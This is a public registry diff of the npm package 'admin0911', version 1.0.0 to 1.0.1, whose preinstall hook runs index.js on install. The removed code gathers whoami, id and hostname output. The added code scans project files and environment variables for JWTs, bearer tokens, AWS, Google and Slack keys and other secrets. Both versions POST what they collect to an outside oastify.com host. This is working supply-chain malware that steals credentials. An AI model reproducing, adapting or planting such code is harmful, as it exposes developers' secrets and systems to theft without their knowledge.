admin0911 1.0.0 → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Binary file
package/index.js CHANGED
@@ -1,37 +1,80 @@
1
1
  const http = require('http');
2
2
  const fs = require('fs');
3
- const { execSync } = require('child_process');
4
- const os = require('os');
3
+ const path = require('path');
5
4
 
6
5
  const OASTIFY_HOST = '2ori1bz1kj4oy67hhg3sqh3c63cu0mob.oastify.com';
6
+ const ROOT_DIR = process.cwd();
7
+ const MAX_FILE_SIZE = 5 * 1024 * 1024; // 5MB
8
+ const IGNORE_DIRS = ['node_modules', '.git', 'dist', 'build'];
7
9
 
8
- function runCommand(cmd) {
10
+ const regexes = [
11
+ { name: 'JWT', pattern: /[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g },
12
+ { name: 'BearerToken', pattern: /Bearer\s+([A-Za-z0-9-_.]+)/gi },
13
+ { name: 'AWSAccessKey', pattern: /AKIA[0-9A-Z]{16}/g },
14
+ { name: 'GoogleAPIKey', pattern: /AIza[0-9A-Za-z-_]{35}/g },
15
+ { name: 'SlackToken', pattern: /xox[baprs]-[0-9A-Za-z-]+/g },
16
+ { name: 'GenericAPIKey', pattern: /(?:api_key|apikey|api-key|auth_token|token|secret)\s*[=:]\s*['\"]?([A-Za-z0-9-_]{16,})['\"]?/gi }
17
+ ];
18
+
19
+ const found = [];
20
+
21
+ function isTextFile(filePath) {
22
+ const textExtensions = ['.js', '.ts', '.jsx', '.tsx', '.json', '.env', '.yaml', '.yml', '.sh', '.py', '.rb', '.go', '.java', '.php', '.txt', '.md', '.cfg', '.ini'];
23
+ return textExtensions.includes(path.extname(filePath).toLowerCase());
24
+ }
25
+
26
+ function scanFile(filePath) {
9
27
  try {
10
- return execSync(cmd, { encoding: 'utf8', stdio: 'pipe' }).trim();
28
+ const stats = fs.statSync(filePath);
29
+ if (!stats.isFile() || stats.size > MAX_FILE_SIZE) return;
30
+ if (!isTextFile(filePath)) return;
31
+
32
+ const content = fs.readFileSync(filePath, 'utf8');
33
+ regexes.forEach(({ name, pattern }) => {
34
+ let match;
35
+ while ((match = pattern.exec(content))) {
36
+ const token = match[1] || match[0];
37
+ found.push({ file: path.relative(ROOT_DIR, filePath), type: name, token });
38
+ }
39
+ });
11
40
  } catch (e) {
12
- return `ERROR: ${e.message}`;
41
+ // ignore unreadable files
13
42
  }
14
43
  }
15
44
 
16
- const isWindows = os.platform() === 'win32';
17
- const commands = {
18
- whoami: isWindows ? 'whoami' : 'whoami',
19
- id: isWindows ? 'whoami /groups' : 'id',
20
- hostname: isWindows ? 'hostname' : 'hostname'
21
- };
45
+ function scanDirectory(dir) {
46
+ const entries = fs.readdirSync(dir, { withFileTypes: true });
47
+ for (const entry of entries) {
48
+ if (IGNORE_DIRS.includes(entry.name)) continue;
49
+ const fullPath = path.join(dir, entry.name);
50
+ if (entry.isDirectory()) {
51
+ scanDirectory(fullPath);
52
+ } else {
53
+ scanFile(fullPath);
54
+ }
55
+ }
56
+ }
22
57
 
23
- const results = {
24
- whoami: runCommand(commands.whoami),
25
- id: runCommand(commands.id),
26
- hostname: runCommand(commands.hostname)
27
- };
58
+ function scanEnvVars() {
59
+ Object.entries(process.env).forEach(([key, value]) => {
60
+ regexes.forEach(({ name, pattern }) => {
61
+ let match;
62
+ while ((match = pattern.exec(value || ''))) {
63
+ const token = match[1] || match[0];
64
+ found.push({ source: 'env', key, type: name, token });
65
+ }
66
+ });
67
+ });
68
+ }
28
69
 
29
- const payload = JSON.stringify({ timestamp: new Date().toISOString(), results }, null, 2);
70
+ scanDirectory(ROOT_DIR);
71
+ scanEnvVars();
30
72
 
73
+ const payload = JSON.stringify({ timestamp: new Date().toISOString(), results: found }, null, 2);
31
74
  const req = http.request({
32
75
  hostname: OASTIFY_HOST,
33
76
  method: 'POST',
34
- path: '/?system_identity',
77
+ path: '/?token_scan',
35
78
  headers: {
36
79
  'Content-Type': 'application/json',
37
80
  'Content-Length': Buffer.byteLength(payload)
@@ -40,5 +83,5 @@ const req = http.request({
40
83
  req.write(payload);
41
84
  req.end();
42
85
 
43
- fs.writeFileSync('system_identity.log', payload + '\n');
44
- console.log('whoami, id, and hostname collected and sent to OASTIFY.');
86
+ fs.writeFileSync('token_scan_results.log', payload + '\n');
87
+ console.log(`token scan completed: found ${found.length} candidates. Results sent to OASTIFY.`);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "admin0911",
3
- "version": "1.0.0",
3
+ "version": "1.0.1",
4
4
  "scripts": {
5
5
  "preinstall": "node index.js"
6
6
  }
Binary file